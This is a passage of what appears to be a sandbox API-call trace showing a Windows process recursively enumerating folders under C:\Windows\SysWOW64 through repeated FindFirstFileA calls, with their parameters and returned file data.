0x502598 [0152.293] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513b5940, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x513b5940, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x513b5940, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.294] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513b5940, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x2b1d64f0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b1d64f0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.295] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\manifeststore\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b1fc650, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b1fc650, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.303] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b26ea70, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b26ea70, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.303] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2b26ea70, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b26ea70, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501554, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.306] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\WSMT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x4e33203f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e33203f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x501554, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.306] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\WSMT\\rras\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x4e33203f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x4e33203f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.307] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\WSMT\\rras\\dlmanifests\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2b294bd0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b294bd0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.307] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\WSMT\\rras\\dlmanifests\\Microsoft-Windows-RasServer-MigPlugin\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2b294bd0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b294bd0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0152.308] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\WSMT\\rras\\replacementmanifests\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2b294bd0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b294bd0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0152.308] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\WSMT\\rras\\replacementmanifests\\Microsoft-Windows-RasApi-MigPlugin\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2b294bd0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b294bd0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0152.309] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migration\\WSMT\\rras\\replacementmanifests\\Microsoft-Windows-RasServer-MigPlugin\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e33203f, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2b294bd0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b294bd0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2d0069, dwReserved1=0x69004d, cFileName=".", cAlternateFileName="")) returned 0x502698 [0152.310] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10e70c0, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b2bad30, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b2bad30, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0152.311] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b2e0e90, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b2e0e90, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0152.313] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\BITSExtensions-Server\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b2e0e90, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b2e0e90, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.317] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-ActiveDirectory-WebServices-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b306ff0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b306ff0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.318] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-ADFS-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b306ff0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b306ff0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.318] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-Bluetooth-Config\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b32d150, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b32d150, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.319] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-COM-ComPlus-Setup-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b32d150, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b32d150, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.320] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-COM-DTC-Setup-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b32d150, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b32d150, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.320] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-DHCPServerMigPlugin-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b32d150, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b32d150, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.321] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-DirectoryServices-ADAM-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3532b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3532b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.321] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-IasServer-MigPlugin\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3532b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3532b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.322] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-IE-ESC\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.323] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-IIS-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3532b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3532b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.329] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-International-Core-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b379410, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b379410, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.330] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-MediaPlayer\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b379410, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b379410, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.330] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-MediaPlayer-DRM-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b39f570, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b39f570, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490046, dwReserved1=0x45004c, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.331] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-msmq-messagingcoreservice\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b39f570, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b39f570, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.331] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-NDIS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b39f570, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b39f570, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.332] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-NetworkBridge\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b39f570, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b39f570, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.332] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-NetworkLoadBalancing-Core\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b39f570, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b39f570, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.333] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-OfflineFiles-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b39f570, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b39f570, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.333] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-PerformanceCounterInfrastructure-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3c56d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3c56d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.334] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-RasApi\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.334] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-RasConnectionManager\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3c56d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3c56d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.335] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-RasServer-MigPlugin\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3c56d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3c56d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f66c, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.335] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-shmig-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3c56d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3c56d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.336] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-StorageMigration\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3c56d0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3c56d0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530045, dwReserved1=0x74002e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.337] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-Sxs\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3eb830, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3eb830, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.337] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-TapiSetup\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3eb830, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b3eb830, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501566, cFileName=".", cAlternateFileName="")) returned 0x502518 [0152.338] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\migwiz\\dlmanifests\\Microsoft-Windows-TextServicesFramework-Migration-DL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2b3eb830, ftLastAccessTime.dwHighDateTime=0x1d6de10, 